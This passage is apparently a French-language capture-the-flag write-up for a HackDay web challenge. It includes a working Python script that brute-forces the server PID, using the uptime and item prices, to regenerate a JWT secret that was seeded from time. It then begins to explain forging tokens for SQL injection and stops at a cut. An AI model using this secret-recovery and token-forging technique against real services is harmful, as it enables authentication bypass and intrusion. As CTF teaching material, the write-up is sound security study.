You’ve been informed that a website might be serving as a front for a large criminal network. Part of their revenue supposedly comes from selling cookies that can make you float like an airship… A rather tempting proposition. Their slogan, it seems, is: "Always wondered how to get the coolest and the highest quality products in your region ? Search no more, this new website allows you to do so !"
Ce challenge tourne sur un docker et n'est pas disponible
Solution
La première étape consiste à trouver la JWT_SECRET_KEY. Pour cela, on peut voir dans le app.py qu'elle est récupérée à partir de la librairie random. Celle-ci utilise une seed, créée à partir de l'heure de démarrage du serveur ainsi que son PID. Pour cela, il faut remarquer :
le chemin /healthz on peut déduire l'heure de démarrage
Le prix des items sur le site sont obtenus avec random
JWT Secret
On peut donc brute force le PID et vérifier notre résultat avec le prix des items. Si l'on trouve les mêmes prix, c'est qu'on avait la bonne seed et donc qu'on a généré le même secret.
import string
import requests
import time
from bs4 import BeautifulSoup
import random
from base64 import b64encode
URL = 'http://challenges.hackday.fr:58990'
def get_uptime() -> int:
current = time.time()
uptime = requests.get(f'{URL}/healthz').json()['uptime']
return int(current - uptime)
up = get_uptime()
print(f'[i] up: {up}')
def get_prices() -> list[int]:
soup = BeautifulSoup(requests.get(URL).content, 'html.parser')
products = soup.find_all('div', {'class': 'product'})
return [int(product.find('p').text.split(': ')[1].split('.')[0]) for product in products]
prices = get_prices()
print(f'[i] prices: {prices}')
for pid in range(2**16):
random.seed(up + pid)
secret_key = "".join(random.choice(string.printable) for _ in range(32))
jwt_secret_key = "".join(random.choice(string.printable) for _ in range(32))
generated_prices = [random.randrange(10, 100), random.randrange(10, 100), random.randrange(10, 100)]
if generated_prices == prices:
print(f'[+] PID: {pid}')
print(f'[+] JWT SECRET KEY: {b64encode(jwt_secret_key.encode()).decode()}')
break
On peut maintenant forger des JWT. Il faut s'en servir pour injecter dans la query SQL à la ligne 115. Ici, j'ai déjà créé un compte pour obtenir un JWT, il contient ceci :